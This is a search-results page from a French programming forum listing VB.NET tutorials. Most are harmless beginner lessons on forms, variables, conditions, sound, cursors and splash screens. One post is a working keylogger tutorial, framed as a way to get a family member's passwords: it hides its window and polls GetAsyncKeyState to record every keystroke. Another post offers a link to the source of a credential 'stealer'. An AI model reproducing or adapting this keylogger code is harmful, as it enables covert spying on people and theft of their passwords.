Aller au contenu

Rechercher dans la communauté

Affichage des résultats pour les étiquettes 'VB.net'.

  • Rechercher par étiquettes

    Saisir les étiquettes en les séparant par une virgule.
  • Rechercher par auteur

Type du contenu


Forums

  • Discussions communautaires
    • Annonces importantes
    • Suggestions
    • Postulation
    • Présentation des membres
    • Discussions générales
    • Multimédias
    • Jeux vidéos
    • Actualités
    • Aide / Support
    • Études
    • Archives
  • Informatique
    • Projets des membres
    • Autres / Divers / Découvertes
    • Crypto-monnaie(s)
    • Hardware / Electronique
    • Réseaux
    • Gestion de serveur
    • Système d'exploitation : Smartphone
    • Système d'exploitation : Ordinateur
  • Programmation
    • Projets des membres
    • Développement web
    • Développement de logiciels
    • Développement d'applications pour smartphones
    • Outils du développeur
    • Aide / Support
  • Emulation
    • Aion
    • Arma III
    • Dofus
    • Dragonica
    • Emulateurs consoles
    • S4 League
    • FlyFF
    • Grand Theft Auto
    • Minecraft
    • Tera
  • Partenariats
    • <b>WoW Emu - La communauté émulation WoW</b>
    • <b>ActuGaming</b>
    • <b>H-Wars</b>
    • <b>EasyChat - Solution gratuite de chat client et serveur (anciennement Melichat)</b>
    • <b>Le Monde des Lunes</b>
    • <b>DansTonCode</b>

Rechercher les résultats dans…

Rechercher les résultats qui…


Date de création

  • Début

    Fin


Dernière mise à jour

  • Début

    Fin


Filtrer par nombre de…

Inscription

  • Début

    Fin


Groupe


Skype


Site web


AIM


MSN


ICQ


Yahoo


Jabber


Tox


Centres d'interêts


Localisation


Niveau d'étude

20 résultats trouvés

  1. mars073

    The Drag'n Drop è_é

    Salut all, donc voici un tuto sur le drag'n drop, ce qui consiste juste dans le fait de faire glisser un fichier dans un un programme. Donc sélectionnez votre élément ou votre form (selon la zone où vous voulez faire glisser le fichier, puis dans ses propriétés cherchez "AllowDrop" et activez le (True), si il n'est pas dans les propriétés, il est possible d'aller l'écrire directement dans le code du desing mais pour faire simple on va mettre le code suivant dans l’évènement du la form au chargement (double click sur la form ou double click sur l'évènement load de l'objet) et je rappel que ce code n'est que si vous n'avez pas trouvé "AllowDrop" dans les propriété: [Nom_de_l'élèment] .AllowDrop = true Sélectionnez votre élément et dans les propriétés allez dans l'onglet des events () et double click sur "DragEnter" et "DragDrop", dans DragEnter entrez le code suivant: e.Effect = e.AllowedEffect dans DragDrop, dans cette exemple je vais charger un fichier image dans une picturebox: Dim pictr() As String Dim str As String ' va contenir le chamin d'accès If e.Data.GetDataPresent(DataFormats.FileDrop) Then pictr = e.Data.GetData(DataFormats.FileDrop) str = pictr(0) PictureBox1.Load(str) 'je charge l'image End If Et voilà c'est finis^^ Bonne programmation à tous! Cordialement, Mars073
  2. Mth

    Sources Atom Light

    Rebonjour à tous! Voici les sources d'un stealer codé en VB.NET, Celui-ci se nomme Atom Light et voici les sources : clique ici Mth
  3. Bonjour, je vais vous expliquez comment faire un enregistreur de frappe.^^ pour trouver le mot de passe de votre frère, votre mère, votre grand-père ou votre hamster... Il faut: -1 Form (Config: ShownInTaskbar=False; RightToLeftLayout=True; FormBorderStyle=None; Size=0; 0) -1 Textbox (Config: visible=False) (Ancrer le textbox en fessant un clique sur le petit carré avec un triangle dessus) -2 Timer (Config T1: Enabled=True; Interval=2) (Config T3: Enabled=True; Interval=100) -1 NotifyIcon (Config: Icon=[votre Icône Windows) -1 Icône windows de préférence KDO: un lien vers un site plein d'icône cool: ->Lien<- (lien icone windows) et c'est partit pour le code... u_u double clique sur la form pour afficher le code (oublier pas que il y a les textbox dessus, donc retirez le le temps de mettre le code) et au dessus, donc après Public Class [votre form]: Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integeret dans l'handle (le code form_load): Timer1.Start() Timer2.Start() Me.Visible = Falsemaintenant double clique sur le timer1 pour afficher le code et on met dedans : For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) ' on ajout le caractère qui est envoyé par le clavier à la suite de deux déjà capté End If Next iDouble clique sur le NotifyIcon1 pour afficher le code et on met dedans : Me.WindowState = FormWindowState.Normal Me.Height = 300 ' hauteur Me.Width = 300 'largeur Me.ShowInTaskbar = True 'affichage dans la barre de tâche Me.FormBorderStyle = Windows.Forms.FormBorderStyle.Sizable ' style de bords... Me.Visible = True ' si on l'affiche TextBox1.Visible = True ' si on affiche les caractères masqués Me.AllowTransparency = False Me.RightToLeft = Windows.Forms.RightToLeft.Inherit Me.Show() Double clique sur le Timer2 pour afficher le code et on met dedans : If Me.WindowState = FormWindowState.Minimized Then 'on test l'état de la fenêtre Me.Height = 0 'plein de paramètre chiant à expliquer Me.Width = 0 Me.ShowInTaskbar = False Me.FormBorderStyle = Windows.Forms.FormBorderStyle.None Me.Visible = False TextBox1.Visible = False Me.AllowTransparency = True Me.RightToLeft = Windows.Forms.RightToLeft.Inherit 'code by Mars073 End Ifsi vous cliquez sur play pour tester le programme il ne marchera par forcément, il faut le publier... les frappes ne sont pas très facile a lire mais d-quand on clique du effacer, ça ne supprime pas le texte enregistré.^^Et quand on a fini on fait un double clique sur l'icône et le texte enregistré. Bonne programmation à tous! Cordialement, Mars073
  4. Salut all, Aujourd'hui je vais vous expliquez comment faire une variable pour varier un peu (blague en carton). Donc une déclaration simple en vb.net ressemble à: Dim [Nom de la variable] As [Son type] = [sa valeur par défaut] "Dim" sert à faire une déclaration standard si vous voulez faire une variable modifiable par un autre formulaire (ex: Form1.mavariable) en mettant "Dim Public" ou direct "Public" ou à inverse la rentre privée même système mais avec "Private" à la place de "Public". la partie la plus indispensable c'est juste: Dim [Nom de la variable] car en vb on est pas obliger de donner le type et la valeur on peu la donner dans lors d'une étape.Si vous mettez la déclaration de la variable dans un timer et si vous donnez sa valeur à chaque tick la valeur va redevenir celle par défaut. On peu aussi faire une variable avec comme type un dialogue, par exemple pour un savedialog on va mettre: Dim mrsblue As New System.Windows.Forms.SaveFileDialog et puis faire comme si on avait aouter le contrôle (outils). Les types de variables, y en a plein donc je vais vous dire les principales: " Byte " peut contenir un chiffre de 0 à 255 (comme les level dans wow? ) " Integer " peut contenir un chiffre de -32768 à 432767 " Real " peut contenir des chiffre à virgule (forme scientifique) va de -2,9e(exposé en 34) à 1,7e (exposé en 36) " String " peut contenir une chaîne de caractères donc du texte^^ " Char " peut contenir qu'un seul caractère donc une lettre " Boolean " peut contenir True ou False, un genre de oui ou non^^ Voilà prochaine de tuto sur la vb en théorie sera sur les tests Bonne programmation a tous! Cordialement, Mars073
  5. Bonjour ! Aujourd'hui je vous poste la première (et surement les 3 autres après) vidéo de la série de tutoriel "VB.net de A à Z" que j'avait fait il y a quelque temps ! http://www.youtube.com/watch?v=i0oxIEOnkug
  6. Bonjour, Voici le tutoriel de "VB.net de A à Z" sur les conditions et boucles: http://www.youtube.com/watch?v=1hNyLI2EoBc
  7. Bonjour, Voici le tutoriel de "VB.net de A à Z" sur les opérations sur variables: http://www.youtube.com/watch?v=hWuWL76utfA
  8. Bonjour, Voici le tutoriel de "VB.net de A à Z" sur les variables : http://www.youtube.com/watch?v=SJyyZPdlTjY
  9. Bonjour, Je vais vous expliquez comment jouer un son/musique. Site pour convertir le fichier conseillé: Online converter Fichier KDO: La music du login de WOTLK.wav Contrôle-VirusTotal 1.Il vous faut un fichier ".wav" (Sons), petite astuce de passage pour faire des enregistrement sur windows (xp) avec un micro: allez dans le Menu de démarrage, cliquez sur "exécuter" puis dans la petite fenêtre qui c'est ouvert écrivez "SNDREC32" dans la textbox et cliquez sur "ok", et magie un fenêtre s'ouvre et il suffit de cliquer sur le bouton avec la boule rouge dessus pour enregistrer.^^ 2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".wav" (Sons). 3.retournez votre form faites un doule-click dessus pour afficher le code. 4.Mettez le code suivant: My.Computer.Audio.Play(My.Resources.OFFICIAL_WOTLK_LOGIN_SCREEN_MUSIC, _ AudioPlayMode.]BackgroundLoop) et voilà vous faites du bruit ! Ps: code pour arrêter la lecture: My.Computer.Audio.Stop Bonne programmation a tous! Cordialement, Mars073
  10. Bonjour, Je vais vous expliquez comment ajouter l'outil "Windows Media Player" ou un autre. 1.Ouvrez Visual Basic, puis votre projet aller dans "Boîte à outils" (Ctrl+Alt+X), puis faîtes clique droit sur n'importe quel outils et cliquez sur "Choisir les éléments...". 2.Un dialog c'est ouvert, allez dans l'onglet "Composants COM" descendez tout en bas et cochez la case devant "Windows Media Player" puis cliquez sur Ok. 3.puis il y aura l'outil qui va apparaitre dans la boîte à outils faite le glisser vers la form et voilà! Vous avez ajouté un outils. Ps:Quelques code: -Pour ouvrir un fichier .mp3 ou .wmv (requiert: 1 AxWindowsMediaPlayer, 1textbosx et 1button), pour les fichier en ligne utilisé "http://ww... .../fichier.mp3" ou pour fichier interne "file:///C:/... .../fichier.mp3". AxWindowsMediaPlayer1.URL = TextBox1.Text -Pour mettre en pleine écran (ne pas mettre en load, ne onctionne que si la vidéo/musique et en lecture): AxWindowsMediaPlayer1.fullScreen = TrueBonne programmation à tous! Cordialement, Mars073
  11. Bonjour, Je vais vous expliquez comment déplacer votre fenêtre avec un outil ou avec la fenêtre elle même, utile quand vous voulez faire un fenêtre personnalisé. fichiers KDO: -le bouton Réduire: -le bouton Niveau inférieur: -le bouton Niveau supérieur: -le bouton Fermer: -une mini-image de fond =p: 1.Ouvrez Visual Basic, puis faites un double-clique sur l'objet ou la forme qui servira à faire bouger la fenêtre... 3.normalement vous aurez ceci (load) un peut haut dessus a droite: modifier le en "MouseDown", ce qui va créer un deuxième code supprimez le premier (load). 4.Mettez le code suivant après "Public Class [nom_de_la_form]": Private Declare Function ReleaseCapture Lib "user32" () As Integer Private Const HTCAPTION As Integer = 2 Private Const WM_NCLBUTTONDOWN As Integer = &HA1S Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByRef lParam As Integer) As Integer 5.De retour au code "mousedown", vous mettez le code suivant dedans: If e.Button = Windows.Forms.MouseButtons.Left Then ReleaseCapture() SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0) Ps:Quelques code: -Pour fermer la fenêtre: Me.close ou l'application compléte: End -Pour réduire(attention! le code peut bugé et faire réduire mais hors de la barre de tâche): Me.WindowState = FormWindowState.Minimized -Pour mettre au niveau inférieur: Me.WindowState = FormWindowState.Normal -Pour le niveau supérieure: Me.WindowState = FormWindowState.Maximized Conseil: -Si vous mettez une image de fond mettez une couleur de fond puis ajoutez la comme couleur de transparence dans les paramètres de la form Bonne programmation à tous! Cordialement, Mars073
  12. Bonjour, Je vais vous expliquez comment modifier le curseur de votre ou d'un objet. programme conseillé: Axialis - CursorWorkshop(même a la fin de la licence il est toujours utilisable) fichier KDO: Curseur de Wow (en 1bit) Contrôle-TotalVirus 1.Il vous faut un fichier ".cur" (curseur/cusor) monochrome (1bit, en blanc, noir et transparence) ou alors çà va faire bugé votre application (normalement) --' 2.Ouvrez Visual Basic, puis votre projet aller dans ses propriétés, puis dans l'onglet "Ressources" ajouter votre ressource ".cur" (curseur). 3.retournez votre form faites un doule-click dessus pour afficher le code, normalement vous aurez ceci (load) un peut haut dessus a droite: modifier le en "MouseMove", ce qui va créer un deuxième code supprimez le premier (load). 4.Mettez le code suivant: Dim memory_stream As New System.IO.MemoryStream(My.Resources.Curseurwow) Me.Cursor = New Cursor(memory_stream) La form ou un object ( exemple: Me, Form2, button1, textbox1,...) Le nom de la ressource (le curseur) et voilà vous avez un nouveau curseur ! un code pour avoir des curseurs en 32bits(plusieurs couleurs), mais j'ai pas réussis à le mettre comme ressource... Private Declare Unicode Function LoadCursorFromFile Lib "user32.dll" Alias "LoadCursorFromFileW" (ByVal filename As String) As IntPtr Dim curseur As IntPtr curseur = LoadCursorFromFile("C:\cursor.cur") Me.Cursor = New Cursor(curseur) Code à placer après la déclaration de votre form(Public Class Form1) Nom du dim du curseur Nom du chemin d'accès jusqu'au curseur La form ou un object ( exemple: Me, Form2, button1, textbox1,...) et voilà vous avez un nouveau curseur ! Bonne programmation a tous! Cordialement, Mars073
  13. Shalut all, je vais vous faire un tuto rapide pour placer une image dans une picturebox, je sais y a l'option padding ou magrin je sais pu.. mais avec on une peu pas mettre une position négative ! pour cela on va faire 2fonctions : #Region "fonctions" Private Function SetPictureAtPoint(ByVal FinalImageSize As System.Drawing.Size, ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(FinalImageSize.Width, FinalImageSize.Height) Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg) Graphics.DrawImage(Image, Location) Return TmpImg End Function Private Function SetPictureAtPoint(ByVal Image As System.Drawing.Image, ByVal Location As System.Drawing.Point) As System.Drawing.Image Dim TmpImg As System.Drawing.Image = New System.Drawing.Bitmap(Location.X + Image.Width, Location.Y + Image.Height) Dim Graphics As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(TmpImg) Graphics.DrawImage(Image, Location) Return TmpImg End Function #End Region et puis dans Form.load on va mettre: Dim Img As New Bitmap(My.Resources.bomb) Me.PictureBox1.Image = SetPictureAtPoint(Img, New System.Drawing.Point(0, -20)) donc en rouge votre ressource et en vert la position x,y de votre image. EDIT: petite image cadeau xD pour picturebox de 20Px/20Px Voilà un petit tuto rapide je fais peut-être le refaire mais bon bonne programmation à tous cordialement, Mars
  14. Salut all, Je encore faire un tuto à l'arrache. Donc je vais vous expliquer comment faire pour faire un splashScreen, c'était l'image de présentation ou de chargement que l'on peu voir parfois avec certains programmes. je vais prendre comme exemple: il y a un dégradé de transparence et donc si j'utilise "tranparencyColor" ça va juste me retirer la couleur pure... alors dans ce cas il faut rien mettre dans transparency et mette un code kikoolong, enfin un peu long /!\Les contrôles (outils) ne sont pas visible après la manipulation !/!\ Le code à mettre après "Public Class [Votreforme]" #Region "full_decla" Public Structure BLENDFUNCTION Public BlendOp As Byte Public BlendFlags As Byte Public SourceConstantAlpha As Byte Public AlphaFormat As Byte End Structure Public Const ULW_COLORKEY As Integer = 1 Public Const ULW_ALPHA As Integer = 2 Public Const ULW_OPAQUE As Integer = 4 Public Const AC_SRC_OVER As Byte = 0 Public Const AC_SRC_ALPHA As Byte = 1 Public Const GWL_EXSTYLE = (-20) Public Declare Function UpdateLayeredWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal hdcDst As IntPtr, ByRef pptDst As Point, ByRef psize As Size, ByVal hdcSrc As IntPtr, ByRef pprSrc As Point, ByVal crKey As Integer, ByRef pblend As BLENDFUNCTION, ByVal dwFlags As Integer) As Boolean Private Declare Auto Function SetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer, ByVal dwNewLong As Integer) As Integer Private Declare Auto Function GetWindowLong Lib "User32.Dll" (ByVal hWnd As IntPtr, ByVal nIndex As Integer) As Integer Public Declare Function GetDC Lib "user32.dll" (ByVal hWnd As IntPtr) As IntPtr Public Declare Function ReleaseDC Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal hDC As IntPtr) As Integer Public Declare Function CreateCompatibleDC Lib "gdi32.dll" (ByVal hDC As IntPtr) As IntPtr Public Declare Function DeleteDC Lib "gdi32.dll" (ByVal hdc As IntPtr) As Boolean Public Declare Function SelectObject Lib "gdi32.dll" (ByVal hDC As IntPtr, ByVal hObject As IntPtr) As IntPtr Public Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As IntPtr) As Boolean Public Sub SetBitmap(ByVal PNG As Bitmap, ByVal opacity As Byte) If Not (PNG.PixelFormat = Imaging.PixelFormat.Format32bppArgb) Then Throw New ApplicationException("The bitmap must be 32ppp with alpha-channel.") End If Dim screenDc As IntPtr = GetDC(IntPtr.Zero) Dim memDc As IntPtr = CreateCompatibleDC(screenDc) Dim hBitmap As IntPtr = IntPtr.Zero Dim oldBitmap As IntPtr = IntPtr.Zero Try hBitmap = PNG.GetHbitmap(Color.FromArgb(0)) oldBitmap = SelectObject(memDc, hBitmap) Dim size As Size = New Size(PNG.Width, PNG.Height) Dim pointSource As Point = New Point(0, 0) Dim topPos As Point = New Point(Left, Top) Dim blend As BLENDFUNCTION = New BLENDFUNCTION blend.BlendOp = AC_SRC_OVER blend.BlendFlags = 0 blend.SourceConstantAlpha = opacity blend.AlphaFormat = AC_SRC_ALPHA UpdateLayeredWindow(Handle, screenDc, topPos, size, memDc, pointSource, 0, blend, ULW_ALPHA) Finally ReleaseDC(IntPtr.Zero, screenDc) If Not (hBitmap.Equals(IntPtr.Zero)) Then SelectObject(memDc, oldBitmap) DeleteObject(hBitmap) End If DeleteDC(memDc) End Try End Sub #End Region Puis dans Form.load: Dim Param As Long Param = GetWindowLong(Me.Handle, GWL_EXSTYLE) Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288)) Call SetBitmap(Me.BackgroundImage, 255) ___________ Tuto part2, un petit bonus Comment faire une animation et faire en sorte que le splash se ferme un jour xD Il suffit de mettre un timer avec un interval de 1000ms (1sec.) et d'ajouter 2variales de type byte que on va appeler "Anim" et "Loader" (pense bête: faire un tuto sur les variables) Donc vous mettez le code suivant entre de sub (si on le met dedans la variable va toujours se redéclarer et remettre la valeur de base. Dim anim As Byte = 0 Dim loader As Byte = 0 Puis dans le Timer.tick (double clique sur le timer pour le voir) et dedans on va mettre: anim += 1 If anim = 1 Then Me.BackgroundImage = My.Resources.trame1 'la première image de l'animation ElseIf anim = 10 Then Me.BackgroundImage = My.Resources.trame2 ' la seconde ElseIf anim = 11 Then Me.BackgroundImage = My.Resources.trame2 ' la quatrième ou troisième je sais pu loading += 1 anim = 0 End If Dim Param As Long Param = GetWindowLong(Me.Handle, GWL_EXSTYLE) Call SetWindowLong(Me.Handle, GWL_EXSTYLE, Param Or (524288)) Call SetBitmap(Me.BackgroundImage, 255) If loader = 3 Then ' Pensez à mettre la forme suivante à ouvrir et aller dans les préférences de votre projet et changer le style de fermeture par fermeture du dernier formulaire Me.Close() End If Voilà maintenant vous savez faire des SplashScreen stylé le code de base et pas de moi j'ai oublié la source mais je l'ai bcp édité de toute façon Bonne programmation à tous! Cordialement, Mars073
  15. Shalut all, Comme je l'avais dis dans un tuto précédent je vais vous expliquer comment faire des tests et c'est super simple Il y a juste plein de façon de le faire! xD Pour faire un test simple, on fait comme ceci: If [valeur à tester] [symbôle du test (voir le bas)] [La valeur à la quelle elle est comparée] then [Le code à exécuter si le test se révèle positif] End If exemple: If check = True then Process.start("W:\tourbilol.exe") End If Imaginons que nous programmons un jeu et que vous voulons tester la position_X soit 3 et que le position_Y soit 5 on va faire comme cela: If (position_X=3) and (position_Y=5) then [Le code à exécuter si le test se révèle positif] End If Il suffit juste de mettre les 2valeurs entre parenthèse et de mettre un "And"(et) entre les deux.^^ Toujours facile.. alors on va compliquer les choses x) Imaginons toujours notre petit jeux, cette fois je veux que la position_X soit 3 ou 5 et que que la position_Y soit 5 toujours simple mais bon : If ((position_X=3) Or (position_X=5)) and (position_Y=5) then [Le code à exécuter si le test se révèle positif] End If on ajoute encore des parenthèses et on met un "Or"(ou) même principe que le "And" On monte encore un peu dans la difficulté Cette fois la position_X doit être compris entre 3 et 5 et la position_Y doit doit être 5. è_é If ((position_X>3) And (position_X<5)) and (position_Y=5) then [Le code à exécuter si le test se révèle positif] End If Cette fois le test demande si le nombre est supérieur et si il est inférieur ^^ Maintenant on va demander que si number est 1 il envoie un message "c'est 1!"; si c'est 2 un message "c'est deux" et si ce n'est pas un des deux, le programme envoie un message "chiffre inconnu", et pour cela on va mettre un "Else If": If number=1 then Msgbox("c'est 1!") Else If number=2 then Msgbox("c'est 2!") Else Msgbox("chiffre inconnu") End If Edit: j'ai oublié de mettre comment faire pour faire directement un test pour tester si quelque chose n'est pas, un genre d'"Else If" mais direct dans le "If": If Not (number=0) then [je ne pense pas que les parenthèses sont obligatoire mais je les mets toujours] MsgBox("Le chiffre n'est pas zéro!") End If Il existe aussi la méthode du "Case Of" : Select Case number Case 1 Msgbox("c'est 1!") Case 2 msgbox("c'est deux!") Case Else Msgbox("chiffre inconnu") End Select dans un case of on peu directement tester si la valeur et entre 2 nombre avec un to, exmple: si number est entre 3 et 5, il envoie un message "boum !": Select Case number Case 1 Msgbox("c'est 1!") Case 2 msgbox("c'est deux!") Case 3 to 5 msgbox("boum !") Case Else Msgbox("chiffre inconnu") End Select Les symboles de test logique: = : égale à ... > : supérieur à ... < : inférieur à ... >= : supérieur ou égale à... <= : inférieur ou égale à... <> : inférieur ou supérieur à... Bonne programmation a tous! Cordialement, Mars073
  16. mars073

    Gérer une erreur ._.

    Salut all, je vais faire un tuto rapide sur comment gérer une erreur, ce qui consiste en.. gérer une erreur. c'est super simple il suffit d'utiliser "Try", je vais prendre par exemple un picturebox qui doit charger une image dont l'adresse se trouve dans une textebox. Private Sub Machin_CLick() Handles Machin.click Try PictureBox1.load(textbox1.text) ' on essaie de charger l'image Catch ex As Exception 'ex est la variable contient ls info sur l'erreur MsgBox("Problème :" & vbNewLine & ex.Message.ToString, MsgBoxStyle.Critical) 'si la personne assez doué à mis un lien pour un .txt par exemple, ça va afficher un message d'erreur End Try End Sub Donc en claire le programme va essayer le code dans "Try" et si il bug il va faire l'action dans "Catch" Voilà mon p'tit tuto rapide est finis. Bonne programmation a tous! Cordialement, Mars073 _________
  17. Bonjour all, je me balade à la recherche de chose que les gens arrivent pas à faire et je fais le tuto ici ainsi ça va attirer des gens. Donc je vais vous faire un tutoriel pour créer et ajouter un outil dans votre projet, j'ai un peux changé de style dans mes tutos, mais bon c'est toujours bien expliqué.^^ 1-Créez un nouveau project. 2-Ajouter la barre d'outils. 3-Créer un "Contrôle d'utilisateur" *je préfère dire "Usercontrol" mais bon..* 4-on va déjà mettre un code, mettez le background (couleur de fond) en couleur. j'ai pris le code dans mon tuto >>ICI<< il faut juste changer un code: 'ancien code: SendMessage(Me.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0) 'nouveau code SendMessage(ParentForm.Handle.ToInt32, WM_NCLBUTTONDOWN, HTCAPTION, 0) 'Il faut juste changer "Me" par "Parentform", si vous laissez le code identique c'est l'usercontrol qui va bouge (ça peut-être pratique^^). 5-Générer la solution (Ctrl+Maj+ /!\ Si ça se marche pas enregistrer et relancer Vb Express(aucun Vb Expr ne doit être actif). si ça persiste relancer votre ordinateur ! Et normalement l'outil va apparaitre dans la "boîte à outils", et si vous en créez un deuxième il n'y aura pas besoins de reboot le logiciel/!\ 6-Retournez sur votre form de départ et dans votre "boîte à outils" vous devriez avoir ceci: 7-Après vous n'avez cas le disposer comme une "picturebox" et lancer votre programme.^^ ~END~ Bonne programmation à tous! Cordialement, Mars073
  18. Bonsoir, Voici deux vidéos tutoriels qui ont été faites par moi pour apprendre à lire et écrire un fichier texte en VB.net :
  19. Bonjour, je vais faire un tuto différent que d'habitude... Alors il vous faut : -1 Picturebox -4 boutons (start;stop;supprimer;enregistrer) -1 SaveFileDialog -1 Timer (Interval: 1) PS: si vous utilisez aussi des PicturesBoxs pour faire vos boutons en plus personnalisé, mettez comme couleur d'arrière plan: "transparent" dans l'onglet "web" Double click sur le Timer mettez le code: Me.BackgroundImage = PictureBox1.Image Dim bounds As Rectangle Dim screenshot As System.Drawing.Bitmap Dim qraph As Graphics bounds = Screen.PrimaryScreen.Bounds screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb) qraph = Graphics.FromImage(screenshot) qraph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy) PictureBox1.Image = screenshot Double click sur le bouton (start) mettez le code: Timer1.start() Double click sur le bouton (stop) mettez le code: Timer1.stop() Double click sur le bouton (supprimer) mettez le code: PictureBox1.Image = Nothing Me.BackgroundImage = Nothing Double click sur le bouton (enregister) mettez le code: Dim savefiledialog1 As New SaveFileDialog Try savefiledialog1.Title = "Enregistrer" savefiledialog1.FileName = "*.PNG" savefiledialog1.Filter = "Image PNG |*.Png" If savefiledialog1.ShowDialog() = DialogResult.OK Then PictureBox1.Image.Save(savefiledialog1.FileName, System.Drawing.Imaging.ImageFormat.Png) End If Catch ex As Exception End Try Programme : NSW.exe Contrôle VirusTotal Cordialement, Mars073
  20. Salut à tous, dans ce "tutoriel", je vais essayer de vous expliquez comment coder et pourquoi coder en vb.net. Tout d'abord, il vous faut Microsoft Visual Basic (Ou Visual Studio). Vous le trouverez sur internet, pour ma part, j'utilise Visual Studio 2013 Ultimate. On va commencer par créer un projet, et on va faire le traditionnel "Hello World". Lancez Visual Studio, cliquez sur Nouveau Projet puis Application Console. Vous commencez avec ça comme code : Module Module1 Sub Main() End Sub End Module Pour afficher notre Hello World, on va donc devoir écrire "Console.WriteLine("Hello World"). Module Module1 Sub Main() Console.WriteLine("Hello World") End Sub End Module On appuie sur F5 (ou sur le bouton ► Démarrer). Cependant, vous voyez une console s'afficher et direct elle se ferme. Pour y remedier, rajouter "Console.ReadLine", qui signiffie que la console va attendre que vous ecrivez .quelque choses et appuyer sur "Entrée" pour continuer l'éxécution du code. Voila, on peu voir la console afficher "Hello World" et rester fixe jusqu'à que vous appuyez sur "Entrée". Voila, c'est un début de projet, il ne vous resteras plus cas suivre des tutoriels pour en apprendre plus. Je sais que c'est un peu cour pour l'introduction, j'essayerais de la refaire en plus "élaboré".
×
×
  • Créer...